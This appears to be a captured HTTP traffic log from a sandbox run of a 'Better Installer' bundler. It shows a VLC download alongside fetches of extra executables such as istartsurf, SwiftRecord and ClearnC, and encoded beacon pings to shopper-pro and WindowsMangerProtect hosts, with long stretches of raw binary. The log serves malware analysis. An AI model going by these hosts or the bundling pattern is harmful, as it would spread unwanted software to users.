-version: v4..48..{"stats":"ok","time":"0.97 ms","message":"store 4 ac
tion and 0 update "}..0..



GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=464399&mode=nolsp HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: test.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT
Accept-Ranges: bytes
ETag: "bfefaff515ebc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:56:06 GMT
Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Sun, 26
 Apr 2015 23:56:06 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....



GET /windowspm/up?ptid=smt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.2227&uid=&upv= HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.theviilage.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:56:36 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.14p1
Content-Encoding: gzip
15............3............0..HTTP/1.1 200 OK..Server: nginx..Date: Su
n, 26 Apr 2015 23:56:36 GMT..Content-Type: text/html; charset=UTF-8..T
ransfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodi
ng..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..15............
3............0..



GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=2864083-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: cdn.mirror.garr.it


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:55 GMT
X-Varnish: 1562192579 1561478658
Age: 19440
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.8.0..Content-Type: text/html..Location: hXXp://downl
oads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe..Cont
ent-Length: 160..Accept-Ranges: bytes..Date: Sun, 26 Apr 2015 23:54:55
 GMT..X-Varnish: 1562192579 1561478658..Age: 19440..Via: 1.1 varnish..
Connection: keep-alive..X-Cache: HIT..<html>..<head><ti
tle>302 Found</title></head>..<body bgcolor="white"&
gt;..<center><h1>302 Found</h1></center>..<
hr><center>nginx/1.8.0</center>..</body>..</ht
ml>....



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=1125538-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 160791
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 1125538-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 de7a549023f0ea5ae15f58d27aeb67c7.cloudfront.net (CloudFront)
X-Amz-Cf-Id: RPVXnf1bGlKNu9B78hvJKJ3750L2RStYd4kQXuOTQ2FbvaBcQj6gLQ==
.M.......3...?../....d..L:.M..6Jbl3...@....|\.V..I.=..q....Y6...|..?..
I.z.i.H.'.%....t\..{:4CK...e..Va.S3.2.......R.........l.?...p.\.M.?...
e1...V.....Sw..4GWU.y.....*O}"HSj.i.D../S.....z.n.>.`:...y.........
...h..D!.R../V.*&..?2B.G../F..6H...^yt...I...;!.......DN.....E6..!....
g.S.?.!}G.. .*..O...:..(-w. ._q.T.w...T.PZ..b..e0.AG..X.8..|.{a...n...
....c.V.Y....T..x.....6V.............)...S.$..%..y.'.........t..NN...,
....._.>8..In.....2.....Ey.Y5..a.`Q.....<....n0.XA.....^.?8PI...
~.D...yE..2.&q..T......t........}..R...O.P....Y....5..S.L..I...../....
8k....*tx.w.`...E.....B.v/.......]%X.h.j.....o.2...D...(>7a.....9..
.Y...iH.f.....r.5"V..B.9x.vPh..Z.;.......y.,}.:.:.>..[..#9KA..'.W..
./....Iw.9.......k.o..d....R...t..yM{.............../h...A.........9..
...-.5..X.W,z.../u0. ..6..#nv.wK......k}.....BB?mC...f..a.O.B^....W.Q.
f.R...M7.....I`W.R..|v|....{...........L6.6.w....5L9 ..#1.5=c...K..x~/
..o..V...1.....^....Zr../@...; `....D...'..6"[email protected].>
;.Cg|....N.h~X..F..4........D.&.....N..o.. .`...;.q8U2%.6...tT.e...D.q
..=.\[email protected]*.\M&..-K#..<1..;.f..F...U..
[.`.....i.Wap.O..W.a.r?..E..x [email protected]..........:$GH.n...........e
W.....4>.........e..L.S)..:.s0.VwkI..~..u;..,.........)v{...i...@..
F.7Y(...........*....O..w.|..L..9............o.s..a..F.HO.%.....1..w..
...ul.....3..N......U..8......%.........y...|*.f......jk..V.?a.$.....V
..3_...A&..D. .%..[@..I..E*......>q..2.{i...,...n...F.5.a.H..7R...X
.0G..!..q.!.V.W.....FF.x...x..........6a)..X...V"....Vv..3...K'o.&
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=5728164-11456328
User-Agent: Better Installer(Mozilla)
Cache-Control: no-cache
Connection: Keep-Alive
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=20048575-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: heanet.dl.sourceforge.net


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:54:55 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 2864082
Content-Range: bytes 20048575-22912656/22912657
Connection: close
Content-Type: application/octet-stream
v..k...#.h...}F^.W..X!mB...........A.7._.DL..q.....L.$'........Xb...BA
.\p.|.T!....'..h..`..zFTT....y..>6.9..u..3...)?..*H...R..Z..0._....
..D..D..[f.N0.\....A:...N.=.!.n...6..6wt...&SC.\...R...T2C.....-.1v...
.Y......J!b..2',..k^..T.......C.[l..7j..q.....=!R...9.(S#..[!J...&....
X.q....:Y....V.....R..GT..79.....[.gE.....c>GT....a....z.....T...*/
^..K.k7~h".>7..../%Ap....e.4".....}3./c.!.A...YVV. .{F....h}.{....x
S...G.A#....O...,U(.U.D...&...$....JO..(.h'f^..b.,..8.Di..sQ...J..,.."
.{..7D...s..p.$.8...()...|\W......P...J6..........k....r..w..C...R.W..
v.{..Q.............8...}...5......^u............)<...w.;.rW....... 
R$......&.. ..... .K..;.=>..^Lo.....".....z.2D.e..(.......o...B....
..B...v...j,.?........u..r...[<g..|.... .....$.z.;.t.`<./~MD....
.U..{`.".....!..y.az....=u'eL...Bx~2.EJ.4.vz>.W..*.Hyp..VF.UV~b...Y
_A.........b....B....s....U{/;s0 .){}.g.AwN...B..XYojL:.a^q..d... ...0
_..<.b#.&poE.h^m......l).....s...X.vN..J....h..tq*......B....R....6
..6O)[email protected](M...m.....-w....gtF...E.0..t.E~VH0.$.&.2#.s.........._
.c-.............R.X.u...D....3......%.?.............Kk3... ..&..,]...s
.......E.T.d.r8.,......|<q....H.....]......."...!dA.....b/.>->
;[email protected].... uh.d..R....V....W...)..MP..d8...g..,...c.;.......].n>
8........1.>...K.....%!'.E...nQ)....C..z:<..K.J.T.2..=..).v#...7
..;.{.u.......'.......pJ.-...z;..Y......3...9.]....Y..b..F..Y...h.V.(s
.m...,....*...Z.K..p........N.*[email protected].;?..,.7..[...;[%...C.....\..H..
.....QF.........A(.wx..e.Da`o .:.../..... .f......C.r.L...b.&q..I.
<<< skipped >>>


GET /3562_a377bbbd843c69917166da11f0904154/2.zip HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: dlrkbt247pbk6.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 200 OK
Content-Type: application/zip
Content-Length: 3016334
Connection: keep-alive
Date: Sun, 26 Apr 2015 16:46:48 GMT
Last-Modified: Sun, 26 Apr 2015 16:14:54 GMT
ETag: "3a7acf92ccc3f79a2b0f187c63e715ec"
Accept-Ranges: bytes
Server: AmazonS3
Age: 25723
X-Cache: Hit from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: SsSzl7rVny3EmFjJbtFvLqHPwv-Z6SUI2mSUmNWJXXlBQrLWN2o6sw==
PK........F..F...85...0.......521.db.0...`.. #t.....<..A#.U......L.
.......* ...i.AU%......k.1...o4...MX*.8.D.].J.. ..f.q.oV.Q7..c..%!u..&
gt;..2.He.}.tod.Z..^B...ru-2(.........`h`.}...|g*..g...R.gcsw(.xa..x.v
.C.]O $.".........3......4.........b...1Y8E. L........v.n..3.^B...ru-w
.......c^.0......q|.".2.l..........iU.Z.....K.|..F.1...........p75KzoJ
8PK.........).F.U..............ClearnC.exe...`...8.?.#..6......HP4....
.4.l.J`C`[email protected] ..j..U.j..W.\lK[o..U.Vt..$(..\.B...N.Tc.. .y.9.
.f....}.......=...9sf...33...-..A0.QUA8$......u..u..F......C......bC..
.z....6.....i.h{..V-m.m.d.Z.o.........T-....:.\....i....7.|....>...
.....uP...........M..[;.'................!u.M..........~...n.....F.k.v
. ..:..C....".....a#0......P...N..]...:.......e..m....}w.....".I......
r..l......u.:H.!........|3n....g.O=....Bwe..m.5....:^g.........*7C...r
..Y.._.n....._.[..x...C.P.....3cO.>S......w....s.{.K..r..pU.^.).sO.
:.......PG*.9O..&A..*..\.V'Q....&...`9..H.[.'b4.bk./NY.......gW.x.!.y.
r...4.t.Sr......V_Ab..X..S>..jN..I..h.. s<:.KM2B>J...4J...I.|
v..B..=......$3.A9R..*....H......jR...=dP.c...H..H..n.m......~4dS..g.1
t......N...!.o.r.O\.[..b...n5...5....~.E.. ...>.^".1S.HU:.~|.|.mTZ.
.s...L...x...k.#...._....?h.......i..7.>..t................R..=....
...b]..z...W...h!.'.O.U.....Mk....=\...CN....~ .5)...~..Gg.0.x........
...8>.!*....N.y..O..j%0.......Vh{.l..O..... `..RM..t.P..6....u.....
..;...r.0\j...`2F.CC..... ..E.......9......ao .GL......<br.j..Y....
N.e..,?Jt;I.I..W~A.V._...Gl..q;&..M=.5....M./.<...)&...W.>..
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=5728165-
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:53 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: heanet.dl.sourceforge.net


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:54:55 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 22912657
Content-Range: bytes 0-22912656/22912657
Connection: close
Content-Type: application/octet-stream
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...#..O
.....................P......'C............@..........................`
................ ..........................................a..........
......................................................................
...........................text...D........................... .0`.dat
[email protected]...#.......$................
[email protected]@.bss..................................0..idata..................
[email protected]...@[email protected]....
[email protected].............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U..WVS.......U..E....t...F
.........{B..H...H.......M..E..5H{B..D$...$....B..M..E.....SS...E...$.
D$... .B..M..E......M.WW......M.)..M..NT....NP........E.....}...VT....
....FP..E........}..VP........U.......FT.............}..........E..M..
.$..|.B..E..R...D$..E..D$...$....B.....<$....B..E..Q.}.;}...Q....~X
........F4..$....B...W..........$.E......E......D$.........B.RR.FX..$.
D$.....B..5..B.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$..{B.
....B...|.......T$...$..QQ.<$....B.S.M..E..D$...$....B.PP1....D
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:52 GMT
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Range: bytes 0-523263/523264
Content-Length: 523264
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......c.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /app/ping.ashx?e=657cd9m3NQGxXIjuhqBZpW8kgAhJB43pB70p5cFj8vcSZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6lb4gf3RC1SzQJCcL BMUNi TRcHKuVeTpeVdCR9NLnB0e3edDIJy/8qNY4DQB5 LV08jURTiCof4sFG5pEsdtec6vPnRrDWQyqd0/YwT2IDOS6Rp1PpHmBKKKt6mG3Lv3kKZ0BPWWpV0U7 mgpW4HrYR85pYN9LIROU1ujTzFpZOicxOK UxxgN7Hc5Z VCMXwfOVO40qst2CTVaWNpfsBgvDcyiS/JqdRYxDUE3/4u34EGnDyPkfaNEd5niUXT1yikFELT1v5WKf/IF1C38O76bd/CqOW1x2feJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm9wb8ozpXpF9tH9MCuNdlcgo17BgrA40V69GtXaYYEOjdV3TGBpQHSW2tCyrfGbczKmrvcVl0Mf/w== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=657cd9m3NQGxXIjuhqBZpW8kgAhJB43pB70p5cFj8vcSZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6lb4gf3RC1SzQJCcL BMUNi dskpjA9 6EEBiJWCtklQEQKd0GEgkafn7qIsw5K9Cdia/NXxeys6V4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX6igjpo/Wl0XzNTdusp42ndLfJgS8eEQj7U33Y6AxWwvwj6GsUSCmJ3H/jy8G4FGJY4SiD403Los HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=2v0SNuZrMFwLjT49fHfOTDjgnVCLb6C t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTNBYhY3WpHjWEBaoodp bkitLa/PWxipD lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnOrz50aw1kMqndP2ME9iAzkukadT6R5gSiirephty797PE6DOH6SVT07xKwR3W9AY9/CpuCTIAF0= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=2v0SNuZrMFwLjT49fHfOTDjgnVCLb6C t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTNBYhY3WpHjWEBaoodp bkitLa/PWxipD lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPrfqTn2oZi1ThWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj gFKvbxhXJ8 DxJ w6ryxW8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=A8MIvlEETmaQVExL/6LI8HDl0EAyEHOZTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fbKhVCE2fDseNE8 91W7tTF7HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9smoUR/DSN1Jzq8kbQMYE3PNCovy49GhxATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cXZ8qiEfUAdC/pgYcHdP8mUh1q4kMrPXgRTb9MeeADHVsSZRGMCOCNdOhGBXTGs9fHZYz7EOWE48fJKZ4NCKSCQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=o4wkB1bL2nKBXOBJ2d DURC0AkHyBdCf 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5SZjO9lo c0HcKjHgAcFIMah8H2ybnJ4Ak9LGoxHbVyuYaP0IDq/YEE9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0L mBhwd0/yZSHWriQys9eBFNv0x54AMdWxJlEYwI4I106EYFdMaz18dljPsQ5YTjx8kpng0IpIJ HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=AZwPyJy3TZjGyhYhIfEQnIFc4EnZ34NRNAM afm7zV37RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJmM72Wj5zQdwqMeABwUgxqHwfbJucngCRZtcNn99AarGKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnOrz50aw1kMqndP2ME9iAzkukadT6R5gSiirephty797PE6DOH6SVT40lLbuCnwRE9/CpuCTIAF0= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 20
15 23:55:55 GMT..Content-Length: 0......


GET /app/ping.ashx?e=eISsn0A7mAahuis9qfwvJXFOCrrBm5PrawBfIapBJ0XZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWugSsXy3IeahxEujjFNyH9yTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvXVZ Zort0Xz3M2Ge/ KBdjG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPrfqTn2oZi1ThWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj tZDXSYpq/nUDxJ w6ryxW8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:57 GMT
Content-Length: 0
....



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=347900-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:54:48 GMT
Content-Type: application/octet-stream
Content-Length: 208740
Last-Modified: Fri, 24 Apr 2015 06:24:51 GMT
Connection: keep-alive
Expires: Wed, 29 Apr 2015 23:54:48 GMT
Cache-Control: max-age=259200
Content-Range: bytes 347900-556639/556640
....U.....S................W.E....x..M..ND...>.x$..t.....3..~8.x,..
t.....3..~0.x0..t.....3..~<.x(...~,.@ 3.;.t.....3..F4....`...;.u..@
.E...........d...SRQ.......uQ.~..u..F<;.t.h.vF.P.I4.......u2.E..P.V
RP..d.......u'VW.f&...E.......y._.....[..].VW.I&......U....x._3.[..]..
.....U......E.........V.u...u.W.:.....u..E.....t._..^..]..?.Su!....f..
..E...<0|.<9.....~............E........M..U....u@..%...G...../..
.h.......%[email protected]......
VLI9NLr-.FH.ND.....PQ...%G.............FH.....FD....... ...k... ......
..G......|....$.([email protected]....
E.[_^..].u... u..W..G......$....W..G.....O.t? ......... u$.G..G(...ND.
D...3..G......G..G.........Rh0vF..v......P.................G..........
.G......[... ........W..G... .......O....FD.D....O..ND.(vF..M..I...:.u
...t..X.:Y.u.........u.3.3........3.;.u..V..N .N$.\.U.j..M.QR......F .
E.....V$.8........F .....u.......t...u.......u.......8".......O..A....
.3..G..H@@.O..G......O.......G......m... .t6 ............W....O..]....
O......3.;...-....O..O.......W....u..G......VL.FD.D....d........[....O
..]..O..FD.VL.D....O....O......3.;........O..O..%....G...........$.8gE
..G.......... ........W..G....u.H.G..NL...............ND.D....VDj.Rh v
F..h..........j....^D..C....P.h........t...K.CQ.V........u....R.A.....
...t...C.CP./........u..;........G......FL.....T.....tu..W..W..D...)U.
.W..FL.....2...........F..........gE..$.`gE..F......9.V..4.F...... .F.
.....".F........F........F........F......G......G......W.......W..
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=5728165-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: heanet.dl.sourceforge.net


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:54:55 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 17184492
Content-Range: bytes 5728165-22912656/22912657
Connection: close
Content-Type: application/octet-stream
Q.>6.z..Z.A..(]....(7UOc.6.:.]...w!a......V.....x..m3v;.g.B4.6.I..O
=".d....k..b$h2..6..".W.........w{P;....:,....R.....-.8......b.k....uV
....E...._9.....<yk.=..a..O..v...Z..]..d...&..%.6..A..7...T....Y...
.....^_..WV.E.O.]........X.=L...w..e.f..m.798/....vt.".F#....c>....
 =.I...nC.'xPZ.......@.,4.....:M...X\c...&.....I......E...7.V.1.1.-...
U.....]..%........a|W.(;...)..La3g.. U%"kl.-Ls.x...l...j.3$.opj..y....
"a.2...If......Y.....[.?B.3V\..o.C.(././.... 5....#,3GR.F.e.....g$.4c.
